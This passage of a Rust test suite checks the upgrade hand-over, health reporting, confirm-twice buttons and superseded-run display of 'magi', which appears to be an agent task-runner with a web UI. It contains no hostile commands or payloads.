        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
    }

    #[tokio::test]
    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
        let home = tempfile::tempdir().expect("temp home");
        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        progress.advance(crate::updater::Stage::Parking);
        crate::updater::write_progress(home.path(), &progress).expect("seed");
        // What the second upgrade_and_restart and its handler do.
        let mut again = progress.clone();
        again.advance(crate::updater::Stage::Replaced);
        crate::updater::write_progress(home.path(), &again).expect("replaced");
        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
        let after = crate::updater::read_progress(home.path()).expect("record");
        assert_eq!(after.stage, crate::updater::Stage::Parking);
    }

    #[tokio::test]
    async fn health_does_not_call_a_live_parking_wait_stuck() {
        let fx = Fixture::start().await;
        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        progress.parked_run = Some("20260905-000000-cd51".to_owned());
        progress.advance(crate::updater::Stage::Parking);
        let hours = Duration::from_secs(3 * 3600);
        progress.started_at = Timestamp::now() - hours;
        progress.updated_at = Timestamp::now() - hours;
        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
        let _lease = crate::updater::LeaseGuard::enter(
            fx.home.path(),
            Some("20260905-000000-cd51".to_owned()),
        );

        let health = fx.get("/api/health").await.json();
        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
        assert!(health["upgrade"]["stuck_kind"].is_null());
        assert_eq!(health["upgrade"]["handover_alive"], true);
        let waiting_on = health["upgrade"]["waiting_on"]
            .as_str()
            .expect("waiting_on");
        assert!(waiting_on.contains("cd51"), "{waiting_on}");
    }

    fn idle_ui(home: &TempDir) -> Ui {
        let runs = home.path().join("runs");
        std::fs::create_dir_all(&runs).expect("runs dir");
        Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            runs,
            home.path().to_path_buf(),
            PathBuf::from("/repo/magi"),
        )
        .with_launch(launch_idle)
    }

    async fn park_fixture(
        home: &TempDir,
    ) -> (
        Ui,
        Arc<Mutex<LoopState>>,
        Arc<Mutex<TalkTurns>>,
        tokio::task::JoinHandle<std::io::Result<()>>,
    ) {
        let ui = idle_ui(home);
        let looping = ui.looping();
        let turns = ui.turns();
        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
            .await
            .expect("bind loopback");
        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
        (ui, looping, turns, served)
    }

    /// The hand-over does not release the address while a chat turn is in
    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
    /// started once the turn ends.
    #[tokio::test]
    async fn hand_over_waits_for_a_running_chat_turn() {
        let home = TempDir::new().expect("temp home");
        let (ui, looping, turns, served) = park_fixture(&home).await;
        let ui = Arc::new(ui);
        let id = "20260901-000000-chat";
        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");

        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
        let handover = tokio::spawn({
            let home = home.path().to_path_buf();
            let turns = Arc::clone(&turns);
            let calls = Arc::clone(&calls);
            async move {
                hand_over(
                    &home,
                    &looping,
                    &turns,
                    &|_: &[String]| Duration::from_secs(60),
                    served,
                    move |_| {
                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
                        Ok(1)
                    },
                )
                .await
            }
        });

        let waiting = async {
            for _ in 0..200 {
                if crate::updater::read_progress(home.path())
                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
                {
                    return;
                }
                tokio::time::sleep(Duration::from_millis(25)).await;
            }
            panic!("the park never named the chat turn");
        };
        waiting.await;
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);

        // A new turn is refused, a queued claim and a direct `/say` see a busy
        // slot, and nothing new is live.
        let refused = ui.begin_talk_turn("20260901-000000-late").err();
        assert!(
            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
            "a direct start says an upgrade is in progress"
        );
        assert!(
            ui.begin_queued_talk_turn("20260901-000000-late")
                .expect("queued claim")
                .is_none()
        );
        assert!(matches!(
            ui.begin_talk_turn_unless_pending("20260901-000000-late")
                .expect("start"),
            TalkTurnStart::Busy
        ));
        assert_eq!(turns.lock().unwrap().live.len(), 1);

        // The health text names the turn.
        let progress = crate::updater::read_progress(home.path()).expect("progress");
        let view = upgrade_progress_view(&ui, progress);
        assert!(
            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
            "{:?}",
            view.waiting_on
        );

        assert!(!handover.is_finished());
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
        drop(turn);
        handover.await.expect("join").expect("hand over");
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
    }

    /// Chat stays open while the loop is still parking, and closes only once
    /// the loop is done; a turn started during the park is waited for.
    #[tokio::test]
    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
        let home = TempDir::new().expect("temp home");
        let (ui, looping, turns, served) = park_fixture(&home).await;
        let ui = Arc::new(ui);
        // A loop that ends only when told to.
        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
        lock_or_recover(&looping).live = Some(Live {
            stop: daemon::Stop::new(),
            handle: tokio::spawn(async move {
                let _ = loop_ended.await;
            }),
            opts: daemon::Opts::default(),
        });

        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
        let handover = tokio::spawn({
            let home = home.path().to_path_buf();
            let turns = Arc::clone(&turns);
            let calls = Arc::clone(&calls);
            async move {
                hand_over(
                    &home,
                    &looping,
                    &turns,
                    &|_: &[String]| Duration::from_secs(60),
                    served,
                    move |_| {
                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
                        Ok(1)
                    },
                )
                .await
            }
        });

        let reached = async {
            for _ in 0..200 {
                if crate::updater::read_progress(home.path())
                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
                {
                    return;
                }
                tokio::time::sleep(Duration::from_millis(25)).await;
            }
            panic!("the hand-over never reached parking");
        };
        reached.await;

        // The loop is still parking: a chat turn starts.
        assert!(!turns.lock().unwrap().parking);
        let turn = ui
            .begin_talk_turn("20260901-000000-chat")
            .expect("claim")
            .expect("a turn can start while the loop parks");

        // The loop ends; the slot closes while the first turn is still held.
        end_loop.send(()).expect("loop still waiting");
        for _ in 0..200 {
            if turns.lock().unwrap().parking {
                break;
            }
            tokio::time::sleep(Duration::from_millis(25)).await;
        }
        assert!(
            turns.lock().unwrap().parking,
            "closed once the loop is done"
        );
        let refused = ui.begin_talk_turn("20260901-000000-late").err();
        assert!(
            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
            "no turn starts once the loop is done"
        );
        assert!(
            ui.begin_queued_talk_turn("20260901-000000-late")
                .expect("queued claim")
                .is_none()
        );
        assert!(!handover.is_finished());
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);

        drop(turn);
        handover.await.expect("join").expect("hand over");
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
    }

    /// A turn that never ends cannot block the upgrade: past the bound the
    /// hand-over proceeds and records which talk it gave up on.
    #[tokio::test]
    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
        let home = TempDir::new().expect("temp home");
        let (ui, looping, turns, served) = park_fixture(&home).await;
        let id = "20260901-000000-stuk";
        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");

        let calls = std::sync::atomic::AtomicUsize::new(0);
        hand_over(
            home.path(),
            &looping,
            &turns,
            &|_: &[String]| Duration::from_millis(300),
            served,
            |_| {
                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
                Ok(1)
            },
        )
        .await
        .expect("hand over");
        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);

        let progress = crate::updater::read_progress(home.path()).expect("progress");
        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
        assert!(
            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
            "{:?}",
            progress.detail
        );
        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
        assert!(
            log.contains("handing over anyway") && log.contains(id),
            "{log}"
        );
    }

    /// A drain that finds the upgrade parking leaves the queued draft alone
    /// and gives the slot up, instead of starting another turn.
    #[tokio::test]
    async fn drain_loop_starts_no_turn_while_parking() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            talks.clone(),
            home.path().join("runs"),
            home.path().to_path_buf(),
            repo.clone(),
        )
        .with_worktrees_root(home.path().join("wt"));
        let cfg = config_for(&repo).await.expect("discover config");
        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
        let id = talk.id.clone();
        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
        let turns = ui.turns();
        let parking = ParkingTurns::begin(&turns);

        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;

        assert!(
            turns.lock().unwrap().live.is_empty(),
            "the slot is given up"
        );
        let fresh = talks.get(&id).expect("talk");
        assert_eq!(fresh.pending, "later", "the draft is still queued");
        assert!(fresh.turns.is_empty(), "no turn ran");
        drop(parking);
    }

    /// Run `hand_over` against `ui` and return what the successor was told.
    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
        let looping = ui.looping();
        let turns = ui.turns();
        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
            .await
            .expect("bind loopback");
        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
        let told = std::sync::Mutex::new(None);
        hand_over(
            home.path(),
            &looping,
            &turns,
            &|_: &[String]| Duration::from_secs(5),
            served,
            |resume| {
                *told.lock().unwrap() = Some(resume);
                Ok(1)
            },
        )
        .await
        .expect("hand over");
        told.into_inner().unwrap().expect("successor was started")
    }

    #[tokio::test]
    async fn a_running_loop_is_resumed_by_the_successor() {
        let home = TempDir::new().expect("temp home");
        let ui = idle_ui(&home);
        ui.start_loop(None).expect("start");
        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
        // The idle loop sees the park and ends before the handover fires.
        for _ in 0..500 {
            if !ui.loop_view(None).running {
                break;
            }
            tokio::time::sleep(Duration::from_millis(2)).await;
        }
        assert!(handed_over(&home, ui).await, "a running loop must resume");

        let successor = idle_ui(&home);
        assert!(!successor.loop_view(None).running);
        assert!(successor.resume_after_handover(true));
        assert!(successor.loop_view(None).running);
        successor.stop_loop(None, false).expect("stop");
    }

    #[tokio::test]
    async fn a_second_upgrade_request_keeps_the_resume_intent() {
        let home = TempDir::new().expect("temp home");
        let ui = idle_ui(&home);
        ui.start_loop(None).expect("start");
        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
            .expect("first park");
        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
            .expect("second park");
        assert!(handed_over(&home, ui).await);
    }

    #[tokio::test]
    async fn a_stop_during_the_handover_wait_is_honoured() {
        let home = TempDir::new().expect("temp home");
        let ui = idle_ui(&home);
        ui.start_loop(None).expect("start");
        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
        ui.stop_loop(None, false).expect("stop");
        assert!(!handed_over(&home, ui).await);
    }

    #[tokio::test]
    async fn an_idle_loop_stays_stopped_across_the_handover() {
        let home = TempDir::new().expect("temp home");
        let ui = idle_ui(&home);
        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
        assert!(!handed_over(&home, ui).await);

        let successor = idle_ui(&home);
        assert!(!successor.resume_after_handover(false));
        assert!(!successor.loop_view(None).running);
    }

    #[tokio::test]
    async fn a_loop_the_operator_stopped_is_not_resumed() {
        let home = TempDir::new().expect("temp home");
        let ui = idle_ui(&home);
        ui.start_loop(None).expect("start");
        ui.stop_loop(None, false).expect("stop");
        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
        assert!(!handed_over(&home, ui).await);
    }

    #[test]
    fn only_an_explicit_one_requests_a_resume() {
        assert!(!resume_requested(None));
        assert!(!resume_requested(Some("0".into())));
        assert!(!resume_requested(Some("".into())));
        assert!(resume_requested(Some("1".into())));
    }

    #[test]
    fn the_upgrade_button_arms_before_it_restarts_anything() {
        // It ends the process the operator is talking to, and a phone in a
        // pocket taps things. One tap arms, the second commits.
        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
        assert!(APP_JS.contains("Replace the binary and restart?"));
        assert!(APP_JS.contains("function confirmed("));
        // Hidden when the loop is somebody else's, matching the 409 above -
        // and hidden with nothing to install, matching the 200 "already
        // current" branch: an operator on the newest build must not be
        // offered a restart that would only park a run for nothing.
        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
        // A park waits for the node in flight, up to an hour for an implement
        // wave. Leaving the button reading "Upgrading…" for that long is the
        // same mistake as an error rendered off screen: it looks wedged.
        assert!(
            APP_JS.contains("Parking, then restarting"),
            "the button says what it is waiting for"
        );
        // And nothing to install must give the button back rather than
        // pretending a restart is coming.
        assert!(APP_JS.contains("if (!out.to)"));
    }

    #[test]
    fn stopping_the_loop_arms_but_starting_does_not() {
        // A stray tap must not leave the queue stopped overnight, so a stop is
        // two taps through the same helper the upgrade uses; a start stays one.
        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
        assert!(APP_JS.contains("confirmed(button, question)"));
        // The label put back on timeout is the one saved when arming, not a
        // hard-coded upgrade caption that would rename the stop button.
        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
        assert!(APP_JS.contains("const label = btn.textContent;"));
        assert!(!APP_JS.contains("Neither direction is guarded"));
    }

    #[test]
    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
        assert!(
            APP_JS.contains("state.health.version"),
            "the operator wants to know what is running even with nothing newer"
        );
        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
    }

    #[test]
    fn the_upgrade_button_names_its_destination() {
        assert!(
            APP_JS.contains("`Update to ${update.to}`"),
            "pressing the button should not be a surprise about what it moves to"
        );
    }

    #[test]
    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
        for stage in ["downloading", "replaced", "parking", "restarting"] {
            assert!(
                APP_JS.contains(&format!("\"{stage}\"")),
                "the phone must be able to tell {stage} apart from the others"
            );
        }
        assert!(APP_JS.contains(".waiting_on"));
        // What replaced the bare "Cannot reach magi: Failed to fetch": a
        // fetch failing while an upgrade is in flight is not an error, it is
        // the sub-second gap `bind_waiting` covers, and it must not be
        // reported as one.
        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
        assert!(APP_JS.contains("reconnects on its own"));
    }

    #[test]
    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
        // `Stage::Failed` is terminal on the server and nothing clears it on
        // its own - not a fresh start, not time passing - so a full-strip
        // takeover for it (the way the busy stages take the strip over,
        // correctly, because those are transient) would have hidden
        // start/stop/park behind an upgrade notice with no way back short of
        // a person editing `upgrade.json` by hand or a later release
        // happening to succeed. The failure must instead ride along as a note
        // next to whatever control the loop's own state already offers.
        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
            ..APP_JS.find("function upgrade(").expect("upgrade")];
        assert!(
            !body.contains(
                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
            ),
            "a failed upgrade must not take the whole strip over the way it used to"
        );
        assert!(
            body.contains("upgradeFailNote"),
            "the failure has to reach the loop's own note instead"
        );
        // `quiet` and `control` are the only two places `loop-why` is set from
        // this function's own state; both must carry the note through, or a
        // future edit to either one would silently drop it again.
        assert_eq!(
            body.matches("upgradeFailNote].filter(Boolean).join")
                .count(),
            2,
            "both loop-why writers (quiet and control) must fold the note in"
        );
    }

    #[test]
    fn an_overdue_upgrade_eventually_asks_for_a_human() {
        // The ceiling has to clear a full hour-long park with room to spare,
        // or an ordinary implement wave would be reported as a stuck upgrade.
        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
        assert!(APP_JS.contains("function upgradeOverdue("));
    }

    #[test]
    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
        assert!(
            APP_JS.contains("Updated to ${upgradeInfo.to"),
            "the operator who asked for the restart wants to know it worked"
        );
    }

    #[test]
    fn an_error_is_visible_from_where_the_button_is() {
        // The alert used to sit in the flow under the header. On a phone
        // scrolled 13 500 px down to a run's action sheet that is off screen,
        // so tapping Resume and being told "the loop is running run b455
        // right now" looked exactly like a button that did nothing.
        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
            ..APP_CSS.find(".alert-text").expect(".alert-text")];
        assert!(
            alert.contains("position: fixed"),
            "an error about the thing under your thumb has to be visible from \
             where your thumb is: {alert}"
        );
        assert!(
            alert.contains("z-index: 25"),
            "above the dock (20) and the run-actions FAB (15), so neither \
             buries it: {alert}"
        );
        assert!(
            alert.contains("var(--tap)"),
            "and clear of the dock and the home indicator: {alert}"
        );
        // The FAB sits at the same height on the right. An error that covered
        // it would hide the button the operator reaches for next.
        assert!(
            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
            "the FAB's column stays free: {alert}"
        );
    }

    #[tokio::test]
    async fn an_older_attempt_says_what_replaced_it() {
        let fx = Fixture::start().await;
        let q = fx.queue();
        let runs = fx.runs();
        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
        write_run(&runs, first, RunStatus::Stalled);
        write_run(&runs, second, RunStatus::Blocked);

        let mut t = Task::new(
            "one task".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t.runs = vec![first.to_owned(), second.to_owned()];
        q.put(&mut t).expect("put");

        // Two cards with the same title and no hint which is which was the
        // question: "why are there two of the same, one stalled and one
        // blocked?" The older one now names its replacement.
        let rows = fx.get("/api/runs").await.json();
        let by = |short: &str| -> Value {
            rows.as_array()
                .unwrap()
                .iter()
                .find(|r| r["short"] == short)
                .cloned()
                .unwrap_or(Value::Null)
        };
        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
        assert!(
            by("bbbb")["superseded_by"].is_null(),
            "the latest attempt is not superseded by anything"
        );
        // Front end: the note has to be rendered, not just carried.
        assert!(APP_JS.contains("run.superseded_by"));
        assert!(APP_JS.contains("Superseded by"));
    }

    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
        let mut t = Task::new(
            "one task".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
        t.status = status;
        t
    }

    #[test]
    fn source_link_picks_the_page_that_filed_the_task() {
        let agent = |node: &str| Source::Agent {
            run: "20260904-014455-ab12".to_owned(),
            node: node.to_owned(),
        };
        let chat = source_link(&agent("chat")).expect("chat link");
        assert_eq!(chat.kind, "chat");
        assert_eq!(chat.id, "20260904-014455-ab12");
        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
        let run = source_link(&agent("implement")).expect("run link");
        assert_eq!(
            (run.kind, run.href.as_str()),
            ("run", "#/runs/20260904-014455-ab12")
        );
        assert_eq!(source_link(&Source::Human), None);
        assert_eq!(
            source_link(&Source::Issue {
                number: 3,
                repo: "o/r".to_owned()
            }),
            None
        );
        let odd = source_link(&Source::Agent {
            run: "a b/c".to_owned(),
            node: "chat".to_owned(),
        })
        .expect("link");
        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
    }

    #[test]
    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
        assert!(
            !APP_JS.contains("src.node === \"chat\""),
            "inline href rule is back"
        );
        assert!(
            APP_JS.matches("sourceLinkOf(").count() >= 4,
            "helper must serve every page"
        );
        assert!(
            APP_JS.matches("openChatLink(").count() >= 3,
            "the run page still needs its explicit chat link"
        );
        assert!(
            !APP_JS.contains("const openChat = el("),
            "the Queue card duplicates its source label link again"
        );
        assert!(
            APP_JS.contains("metaKids.push(link ? el(\"a\""),
            "the task page must link a chat source label too"
        );
    }

    #[test]
    fn task_ref_carries_the_source_link_for_a_chat_task() {
        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
        t.source = Source::Agent {
            run: "20260904-014455-ab12".to_owned(),
            node: "chat".to_owned(),
        };
        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
        let v = serde_json::to_value(&out).expect("json");
        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
        assert_eq!(v["source_label"], t.source.label());

        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
            .expect("json");
        assert!(v["source_link"].is_null(), "{v}");
    }

    #[test]
    fn task_view_serializes_source_link() {
        let mut t = Task::new(
            "t".to_owned(),
            "t".to_owned(),
            PathBuf::from("/repo"),
            Source::Agent {
                run: "20260901-000000-aaaa".to_owned(),
                node: "implement".to_owned(),
            },
        );
        t.runs.clear();
        let v = serde_json::to_value(TaskView::from(t)).expect("json");
        assert_eq!(v["source_link"]["kind"], "run", "{v}");
        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
    }

    #[test]
    fn task_view_serializes_urgent_flag() {
        let mut t = Task::new(
            "t".to_owned(),
            "t".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
        assert_eq!(v["urgent"], false, "{v}");
        t.urgent = true;
        let v = serde_json::to_value(TaskView::from(t)).expect("json");
        assert_eq!(v["urgent"], true, "{v}");
        assert!(APP_JS.contains("task.urgent === true"));
    }

    #[tokio::test]
    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
        write_run(&runs, old, RunStatus::Blocked);
        write_run(&runs, new, RunStatus::Merged);
        let mut t = outcome_task(&[old, new], TaskStatus::Done);
        fx.queue().put(&mut t).expect("put");

        let view = fx.get(&format!("/api/runs/{old}")).await.json();
        let task = &view["task"];
        assert_eq!(task["status"], "done");
        assert_eq!(task["is_latest"], false);
        assert_eq!(task["latest"]["short"], "bbbb");
        assert_eq!(task["finished_by"]["id"], new);
        assert_eq!(task["finished_by"]["outcome"], "merged");
        assert_eq!(task["closed_by_hand"], false);
        assert_eq!(view["status"], "blocked", "the run keeps its own status");
        assert!(APP_JS.contains("finished_by"));
        assert!(APP_JS.contains("superseded by run"));
    }

    #[tokio::test]
    async fn the_latest_run_reports_a_held_task_without_a_successor() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
        write_run(&runs, old, RunStatus::Stalled);
        write_run(&runs, new, RunStatus::Blocked);
        let mut t = outcome_task(&[old, new], TaskStatus::Held);
        fx.queue().put(&mut t).expect("put");

        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
        assert_eq!(task["status"], "held");
        assert_eq!(task["is_latest"], true);
        assert!(task["latest"].is_null());
        assert!(task["finished_by"].is_null());
        assert_eq!(task["closed_by_hand"], false);
    }

    #[tokio::test]
    async fn a_direct_run_has_no_task_outcome() {
        let fx = Fixture::start().await;
        let runs = fx.runs();
        let id = "20260901-000000-aaaa";
        write_run(&runs, id, RunStatus::Blocked);
        let view = fx.get(&format!("/api/runs/{id}")).await.json();
        assert!(view["task"].is_null());
    }

    #[test]
    fn task_outcome_does_not_guess_a_finishing_run() {
        let a = "20260901-000000-aaaa";
        let b = "20260901-000000-bbbb";
        let c = "20260901-000000-cccc";
        let dir = tempfile::tempdir().expect("tempdir");
        write_run(dir.path(), a, RunStatus::Blocked);
        write_run(dir.path(), b, RunStatus::VerifiedNoop);
        // `c` has no record: unreadable.
        let read = |id: &str| read_run(dir.path(), id).ok();
        // Neither a blocked run nor a no-op finished the task; the newest run is
        // unreadable and still named.
        let t = outcome_task(&[a, b, c], TaskStatus::Done);
        let out = task_outcome(&t, a, 3, read);
        assert!(out.finished_by.is_none());
        assert!(out.closed_by_hand);
        let latest = out.latest.expect("latest");
        assert_eq!(latest.id, c);
        assert_eq!(latest.status, None);
        assert_eq!(latest.outcome, "record unreadable");

        // A Ready run settles the task as done, so it is named as the finisher.
        write_run(dir.path(), c, RunStatus::Ready);
        let t = outcome_task(&[a, c], TaskStatus::Done);
        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
        assert_eq!(out.finished_by.expect("finisher").id, c);
        assert!(!out.closed_by_hand);

        // A resumed run id repeats: it is still the latest by id.
        let t = outcome_task(&[a, b, a], TaskStatus::Held);
        assert!(task_outcome(&t, a, 3, read).is_latest);
    }

    #[tokio::test]
    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
        // The list route has known this since the card fix above; the detail
        // route — what an operator actually opens from a notification about
        // a blocked run — did not, and went on showing a bare red BLOCKED
        // chip for a run a retry had already finished.
        let fx = Fixture::start().await;
        let q = fx.queue();
        let runs = fx.runs();
        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
        write_run(&runs, first, RunStatus::Blocked);
        write_run(&runs, second, RunStatus::Merged);

        let mut t = Task::new(
            "one task".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t.runs = vec![first.to_owned(), second.to_owned()];
        q.put(&mut t).expect("put");

        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
        assert_eq!(earlier["superseded_by"], "dddd");
        assert_eq!(earlier["latest_attempt"]["id"], second);
        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
        assert_eq!(
            earlier["latest_attempt"]["resolved"], true,
            "the run that replaced it landed, so this one reads as settled"
        );

        let later = fx.get(&format!("/api/runs/{second}")).await.json();
        assert!(
            later["superseded_by"].is_null(),
            "the latest attempt is not superseded by anything"
        );
        assert!(
            later["latest_attempt"].is_null(),
            "the latest attempt has no later attempt of its own"
        );

        // Front end: the detail page has to read the field this route now
        // carries, downgrade the chip, and link to the run that replaced it —
        // not just repeat the list card's own logic under a different name.
        // The link is built off `latest_attempt.id`, the server-resolved
        // full id, never a bare short string a client would have to guess a
        // full run from.
        assert!(APP_JS.contains("run.latest_attempt"));
        assert!(APP_JS.contains("data-superseded"));
        assert!(APP_JS.contains("#/runs/${latest.id}"));
    }

    #[tokio::test]
    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
        // A -> B -> C, all Blocked except the last. A's immediate successor
        // (superseded_by) is B, which is itself unresolved; what an operator
        // opening A's page actually needs is where the task's story stands
        // *now* - C, not B - without depending on whether C happens to be in
        // whatever page of /api/runs the client last cached.
        let fx = Fixture::start().await;
        let q = fx.queue();
        let runs = fx.runs();
        let (a, b, c) = (
            "20260901-000000-aaaa",
            "20260901-000000-bbbb",
            "20260901-000000-cccc",
        );
        write_run(&runs, a, RunStatus::Blocked);
        write_run(&runs, b, RunStatus::Blocked);
        write_run(&runs, c, RunStatus::Merged);

        let mut t = Task::new(
            "retried twice".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
        q.put(&mut t).expect("put");

        let view = fx.get(&format!("/api/runs/{a}")).await.json();
        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
        assert_eq!(
            view["latest_attempt"]["id"], c,
            "the chain's current head, not the intermediate Blocked retry"
        );
        assert_eq!(view["latest_attempt"]["resolved"], true);

        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
        assert_eq!(mid["latest_attempt"]["id"], c);
        assert_eq!(mid["latest_attempt"]["resolved"], true);
    }

    #[tokio::test]
    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
        let fx = Fixture::start().await;
        let q = fx.queue();
        let runs = fx.runs();

        // Still Blocked: the task is not resolved, so the older run must not
        // read as settled either.
        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
        write_run(&runs, still_blocked_a, RunStatus::Blocked);
        write_run(&runs, still_blocked_b, RunStatus::Blocked);
        let mut t1 = Task::new(
            "still stuck".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
        q.put(&mut t1).expect("put");
        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
        assert_eq!(view1["latest_attempt"]["resolved"], false);
        assert_eq!(view1["latest_attempt"]["status"], "blocked");
        assert_eq!(view1["latest_attempt"]["done"], true);

        // Still running: the successor exists and must be reported as such.
        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
        write_run(&runs, run_a, RunStatus::Blocked);
        write_run(&runs, run_b, RunStatus::Implementing);
        let mut t3 = Task::new(
            "retrying".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
